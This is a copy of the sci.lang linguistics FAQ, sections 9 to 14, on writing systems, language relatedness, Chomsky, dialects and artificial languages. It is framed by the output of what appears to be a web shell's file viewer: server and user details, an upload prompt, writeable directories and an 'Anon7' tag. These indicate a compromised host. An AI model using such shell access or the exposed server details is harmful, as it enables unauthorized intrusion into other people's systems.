KGRKJGETMRETU895U-589TY5MIGM5JGB5SDFESFREWTGR54TY
Server : Apache/2.4.62
System : FreeBSD fbsdweb2.web.rcn.net 14.1-RELEASE FreeBSD 14.1-RELEASE releng/14.1-n267679-10e31f0946d8 GENERIC amd64
User : www ( 80)
PHP Version : 8.3.8
Disable Function : NONE
Directory :  /domains/markrose/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : /domains/markrose/lang9.html
<HTML> 
<HEAD> <TITLE>The sci.lang FAQ: 9 - 14</TITLE></HEAD> 

<BODY BGCOLOR="#DDDDFF" TEXT="#000000"> 
<H2>The sci.lang FAQ: 9 - 14</H2>

<P><HR>

<STRONG><A NAME="9">9</A> <IMG  Align=Top SRC="redball.gif"> Why do Hebrew and Yiddish, Japanese and Chinese, Persian and Arabic look so much alike if they aren't related?</STRONG> 

<P><A HREF="lang8.html">[Previous]</A> <A HREF="#10">[Next]</A> <A HREF="langfaq.html">[Index]</A>

<P>Distinguish <B>language</B> from <B>writing system</B>. 
In each of these cases one language has adopted part or all of the  writing system of an unrelated language.
  
<P>(To a Chinese person, English and Finnish look alike, because they're written 
in the same alphabet.  Yet they are not historically related.)  

<P>An excellent introduction to writing systems is Geoffrey Sampson's <CITE>Writing Systems</CITE> (1985).
The authoritative (but expensive) reference is Daniels and Bright's <cite>The World's Writing Systems</cite>
(1996), which discusses every known script.


<P><HR>
<STRONG><A NAME="10">10</A> <IMG  Align=Top SRC="redball.gif"> How do linguists decide that languages are related?</STRONG> 

<P><A HREF="#9">[Previous]</A> <A HREF="#11">[Next]</A> <A HREF="langfaq.html">[Index]</A>

<P> [--markrose]  

<P>When linguists say that languages are related, they're not just remarking  on their surface similarity; they're making a technical statement or claim about their history-- namely, that they can be regularly derived from a  common parent language.  

<P>Proto-languages are reconstructed using the <DFN>comparative method</DFN>.  The  first stage is to inspect and compare large amounts of vocabulary from the  languages in question.  Where possible we compare entire <DFN>paradigms</DFN> (sets  of related forms, such as the those of the present active indicative in  Latin), rather than individual words.  

<P>The inspection should yield a set of regular sound correspondences between  the languages.  By regular, we mean that the same correspondences are  consistently observed in identical phonetic environments.  Finally, <DFN>sound  changes</DFN> are formulated: language-specific rules which specify how the  original common form changed in order to produce those observed in each  descendent language.  

<P>Applying the comparative method to the Romance languages, we might find  
<BR><PRE>
<BR> 'I sense'  Sard /sento/  French /sa~/   Italian /sento/   Spanish /sjEnto/
<BR> 'sleep'         /sonnu/         /som/           /sonno/           /suEn^o/  
<BR> 'hundred'       /kentu/         /sa~/           /tSento/          /sjEnto/
<BR> 'five'          /kimbe/         /sE~k/          /tSinkwe/         /sinko/  
<BR> 'I run'         /kurro/         /kur/           /korro/           /korro/
<BR> 'story'         /kontu/         /ko~t@/         /(rak)konto/      /kuEnto/  </PRE>

<BR>and hundreds of similar examples.  We see some correspondences--  
<BR><PRE>
<BR>(1)        Sard /s/      French /s/     Italian /s/       Spanish /s/  
<BR>(2)             /k/             /s/             /tS/              /s/
<BR>(3)             /k/             /k/             /k/               /k/</PRE>  
<BR>but they seem to conflict: does Sard /k/ correspond to Spanish /s/ or /k/? Does French /s/ correspond to Italian /s/ or /tS/? 
 
<P>In fact we will find that the correspondences are regular, once we observe that (2) is seen before a front vowel (i or e), while (3) is seen in other environments.  Alternations within paradigms, such as It. /diko/ 'I say'  vs. /ditSe/ 'says', will help us make and confirm such generalizations.  

<P>We may interpret these now-regular correspondences as indicating that an  initial /s/ in the proto-language has been retained in all four languages,  and likewise initial /k/ in Sard; but that /k/ changed to /s/ or /tS/ in  the other languages in the environment of a front vowel.  

<P>Actually, this process is iterative.  For instance, at first glance we  might think that German <B>haben</B> and Latin <B>habere</B> 'have' are obvious  cognates.  However, after noting the regular correspondence of German <B>h</B> to  Latin <B>c</B>, we are forced to change our minds, and look to <B>capere</B> 'seize'  as a better cognate for <B>haben</B>.  

<P>Thus, similarity of words is only a clue, and perhaps a misleading one. Linguists conclude languages are related, and thus derive from a common ancestor, only if they find <B>regular</B> sound correspondences between them.  

<P>To complicate things, derivations may be obscured by irregular changes, such as dissimilation, borrowing, or analogical change.  For instance,  the normal development of Middle English <B>kyn</B> is 'kine', but this word has been largely replaced by 'cows', formed from 'cow' (ME <B>cou</B>) on the  <DFN>analogy</DFN> of word-pairs like stone : stones.  Analogy often serves to reduce  irregularities in a language (here, an unusual plural).  

<P><DFN>Borrowing</DFN> refers to taking words from other languages, as English has taken 'search' and 'garage' from French, 'paternal' from Latin, 'anger' from  Old Norse, and 'tomato' from Nahuatl.  How do we know that English doesn't derive from French or Nahuatl?  The latter case is easy to eliminate:  regular sound correspondences can't be set up between English and Nahuatl.  

<P>But English has borrowed so heavily from French that regular correspondences  do occur.  Here, however, we find that the French borrowings are thickest in  government, legal, and military domains; while the basic vocabulary (which  languages borrow less frequently) is more akin to German.  Paradigmatic  correspondences like <I>sing/sang/sung</I> vs. <I>singen/sang/gesungen</I> also help show that the Germanic words are inherited, the French ones borrowed.

<P>If you want more, Theodora Bynon's <CITE>Historical Linguistics</CITE> (1977) 
is very good, and not long; R.L. Trask's <cite>Historical Linguistics</cite> (1996)
is very readable and covers more recent developments.
Anthony Fox's <CITE>Linguistic Reconstruction: An Introduction to Theory and Method</CITE> (1995) concentrates on the reconstruction process itself, and assumes some knowledge of linguistics.

<P><HR>
<STRONG><A NAME="11">11</A> <IMG  Align=Top SRC="redball.gif"> What is Noam Chomsky's transformational grammar all about?</STRONG> 

<P><A HREF="#10">[Previous]</A> <A HREF="#12">[Next]</A> <A HREF="langfaq.html">[Index]</A>

<P>Several things; it really comprises several layers of theory: 
 
<P>(1) The hypothesis that much of the structure of human language is inborn ('built-in') in the human brain, so that a baby learning to talk only has to learn the vocabulary and the structural 'parameters' of his native language -- he doesn't have to learn how language works from scratch.  

<P>The main evidence consists of:   
<UL><LI>The fact that babies learn to talk remarkably well from what seems to be inadequate 
exposure to language; it is claimed that babies acquire some rules of grammar that they could 
never have 'learned' from what is available to them, if the structure of language were not 
partly built-in.
<LI>The fact that the structure of language on different levels  (vocabulary, ability to 
connect words, etc.) can be lost by injury to specific areas of the brain.
<LI>The fact that there are unexpected structural similarities between all known languages. 
For detailed exposition see Cook, <CITE>Chomsky's Universal Grammar</CITE> (1988),  
Newmeyer, <CITE>Grammatical Theory: Its Limits And Possibilities</CITE> (1983), 
and Pinker, <CITE>The Language Instinct</CITE> (1994).  </UL>

<p>This theory is by no means accepted by all linguists, though many
would agree that some core part of language is innate.




<P>(2) The hypothesis that to adequately describe the grammar of a human language, you have to give each sentence at least two different structures,  called <DFN>deep structure</DFN> and <DFN>surface structure</DFN>, together with rules called <DFN>transformations</DFN> that relate them.   

<P>This is hotly debated.  Some theories of grammar use two levels and some don't.  Chomsky's original monograph, <CITE>Syntactic Structures</CITE> (1957), is still well worth reading; this is what it deals with.  

<P>(3) Chomsky's name is associated with specific flavors of transformational grammar.  The model elaborated over the last few years is called <B>GB</B> (government and binding) theory, which however has been heavily modified by the approach described in the recent <CITE>The Minimalist Program</CITE> (1995).

<P>(4) Some people think Chomsky is the source of the idea that grammar ought to be viewed with mathematical precision.  (Thus there are occasional vehement anti-Chomsky polemics such as <CITE>The New Grammarian's Funeral</CITE>, which are really polemics against grammar per se.)  

<P>Although Chomsky contributed some valuable techniques, grammarians have <B>always</B> believed that grammar was a precise, mechanical thing.  They are highly divided, however, on the nature and function of those mechanisms!


<P><HR>
<STRONG><A NAME="12">12</A> <IMG  Align=Top SRC="redball.gif"> What is a dialect?</STRONG> 

<P><A HREF="#11">[Previous]</A> <A HREF="#13">[Next]</A> <A HREF="langfaq.html">[Index]</A>

<P>[--M.C. + M.R.] 

<P>A dialect is any variety of a language spoken by a specific community of people. 
Most languages have many dialects.  

<P>Everyone speaks a dialect.  In fact everyone speaks an <DFN>idiolect</DFN>, i.e., 
a personal language.  (Your English language is not quite the same as my English language, 
though they are probably very, very close.)  

<P>A group of people with very similar idiolects are considered to be speaking the same 
dialect.  Some dialects, such as Standard American English, are taught in schools and used 
widely around the world.  Others are very localized.    

<P>Localized or uneducated dialects are <B>not</B> merely failed attempts to speak the 
standard language.  William Labov and others have demonstrated, for example, that the speech 
of inner-city blacks has its own intricate grammar, quite different in some ways from that of 
Standard English.  

<P>It should be emphasized that linguists do not consider some dialects  superior to others-- 
though speakers of the language may do so; and linguists do study people's attitudes toward 
language, since  these have a strong effect on the development of language.  

<P>Linguists call varieties of language <DFN>dialects</DFN> if the speakers can understand 
each other and <DFN>languages</DFN> if they can't.  For example, Irish English and Southern 
American English are dialects of English, but English and German are different languages 
(though related).  

<P>This criterion is not always as easy to apply as it sounds. Intelligibility may vary with 
familiarity and interest, or may depend on the subject.  A more serious problem is the 
<DFN>dialect continuum</DFN>: a chain of dialects such that any two adjoining dialects are 
mutually intelligible, but the dialects at the ends are not.  Speakers of Belgian Dutch, for 
instance, can't understand Swiss German, but between them there lies a continuum of mutually 
intelligible dialects.  

<P>Sometimes the use of the terms 'language' or 'dialect' is politically motivated.  
Norwegian and Danish (being mutually intelligible) are dialects of the same language, 
but are considered separate languages because of their political independence.  By contrast, 
Mandarin and Cantonese, which are mutually unintelligible, are often referred to as 'dialects' 
of Chinese, due to the political and cultural unity of China, and because they share a common 
<B>written</B> language.  

<p>At this point we usually quote Max Weinreich: "A language is a dialect
with an army and a navy."

<P>Because of such problems, some linguists reject the mutual intelligibility criterion; but 
they do not propose to return to arguments on political and cultural grounds.  Instead, they 
prefer not to speak of dialects and languages at all, but only of different varieties, with 
varying degrees of mutual intelligibility.


<P><HR>
<STRONG><A NAME="13">13</A> <IMG  Align=Top SRC="redball.gif"> Are all languages equally complex, or are some more primitive than others?</STRONG> 

<P><A HREF="#12">[Previous]</A> <A HREF="#14">[Next]</A> <A HREF="langfaq.html">[Index]</A>

<P>[--M.C. + M.R.] 

<P>Before the 1900s many people believed that so-called 'primitive  peoples' would have 
primitive languages, and that Latin and Greek-- or their own languages-- were inherently 
superior to other tongues.  

<P>In fact, however, there is no correlation between type or complexity of culture and any 
measure of language complexity.  Peoples of very simple material culture, such as the 
Australian Aborigines, are often found to  speak very complex languages.  

<P>Obviously, the size of the vocabulary and the variety and sophistication of literary forms 
will depend on the culture.  The <B>grammar</B> of all languages, however, tends to be about 
equally complex-- although the complexity may  be found in different places.  
Latin, for instance, has a much richer system of inflections than English, 
but a less complicated syntax.  

<P>As David Crystal puts it, &quot;All languages meet the social and psychological needs of 
their speakers, are equally deserving of scientific study, and can provide us with valuable 
information about human nature and society.&quot; 

<P>There are only two cases of really simple languages.

<ul><li><DFN>Pidgins</DFN>, which result when speakers of 
different languages come to live and work together.  Vocabulary is drawn from one or both 
languages, and a very forgiving grammar devised.  Grammars of pidgins from around the world 
have interesting similarities (e.g. they are likely to use repetition to express plurals).    

<P>A pidgin becomes a <DFN>creole</DFN> when children acquire it as a native language; 
as it evolves to meet the needs of a primary language, its vocabulary and grammar become 
much richer.  If a pidgin is used over a long period (for example, Tok Pisin in 
Papua New Guinea), it may similarly develop into a  more complex language known as an 
<DFN>extended pidgin</DFN>.

<p><li><dfn>Language death</dfn>,  what happens when a language falls out of use--
an alarmingly widespread phenomenon, which has been studied in detail by linguists.  
The process typically takes several generations,
and involves an increasingly simplified grammar and impoverished lexicon.
</ul>

<P><HR>
<STRONG><A NAME="14">14</A> <IMG  Align=Top SRC="redball.gif"> What about artificial languages, such as Esperanto?</STRONG> 

<P><A HREF="#13">[Previous]</A> <A HREF="lang15.html">[Next]</A> <A HREF="langfaq.html">[Index]</A>
<P> [--markrose]  

<P>Hundreds of constructed languages have been devised in the last few centuries. Early proposals, such as those of Lodwick (1647), Wilkins (1668), or Leibniz (1768), were  attempts to devise an ideal language based on philosophical classification  of concepts, and used wholly invented words.  Most were too complex to learn, but one, Jean Francois Sudre's <B>Solresol</B> (1866), achieved some popularity in the last century; its entire vocabulary was built from the names of the notes of  the musical scale, and could be sung as well as spoken.  

<P>Later the focus shifted to languages based on existing languages, with a  polyglot (usually European) vocabulary and a simplified grammar, whose purpose was to facilitate international communication.  Johann Schleyer's <B>Volap&uuml;k</B>  (1880) was the first to achieve success; its name is based on English  ('world-speech'), and reflects Schleyer's notions of phonetic simplicity.    

<P>It was soon eclipsed by Ludwig Zamenhof's <B><A HREF="http://www.webcom.com/~donh/efaq.html">Esperanto</A></B> (1887), whose grammar  was simpler and its vocabulary more recognizable.  Esperanto has remained  the most successful and best-known artificial language, with a million or  more speakers and a voluminous literature; children of Esperantists have  even learned it as a native language.  

<P>Its relative success hasn't prevented the appearance of new proposals, such as <B>Ido</B> (1907), <B><A HREF="http://www.geocities.com/Area51/Corridor/7787/ilvi.html">Interlingua</A></B> (1951), <B>Occidental</B> (1922), and <B><a href="http://www.geocities.com/CapitolHill/3141/novial.html">Novial</a></B> (1927).  There have also been attempts to simplify Latin (<B>Latino Sine Flexione</B>, 1903) and English (<B>Basic English</B>,  1930) for international use.  The recent <B><A HREF="http://www.halcyon.com/loglan/welcome.html">Loglan</A></B> (1960) and <B><A HREF="http://xiron.pc.helsinki.fi/lojban/">Lojban</A></B> (1988), based on  predicate logic, may represent a revival of a priori language construction.  

<P>See also Andrew Large, <CITE>The Artificial Language Movement</CITE> (1985); Mario Pei,  <CITE>One Language For The World</CITE> (1958); Detlev Blanke, <CITE>Internationale  Plansprachen</CITE> (in German); Pierre Janton, <CITE>L'Esp&eacute;ranto</CITE> (French, 1973) <CITE>Esperanto</CITE> (English, 1994).
  
<P>There is a newsgroup, <A HREF="news://soc.culture.esperanto">soc.culture.esperanto</A>, dedicated to Esperanto.  The newsgroup <A HREF="news://alt.language.artificial">alt.language.artificial</A> discusses artificial languages in general.

<P>The ConLang mailing list is devoted to the discussion of constructed and artificial languages for general communication; 
<a href="http://personalweb.sierra.net/~spynx/FAQ/index.html">its FAQ</a>  
is on the web.  To subscribe, e-mail a message to 
<a href=mailto:[email protected]>[email protected]</a> consisting of the single line <CODE>subscribe conlang</CODE>.

<p>The AuxLang list is devoted to discussions of the merits and
practicality of particular international auxiliary languages.  To
subscribe, send mail to 
<a href=mailto:[email protected]>[email protected]</a> with the line <CODE>subscribe auxlang</CODE>.

<p>If you're interested in creating your own language, check out my <A HREF="kit.html">Language Construction Kit</A>.

<HR>
<P><A HREF="lang8.html">[Previous file]</A> <A HREF="lang15.html">[Next file]</A> <A HREF="langfaq.html">[Index]</A>
</BODY> 
</HTML> 

Anon7 - 2021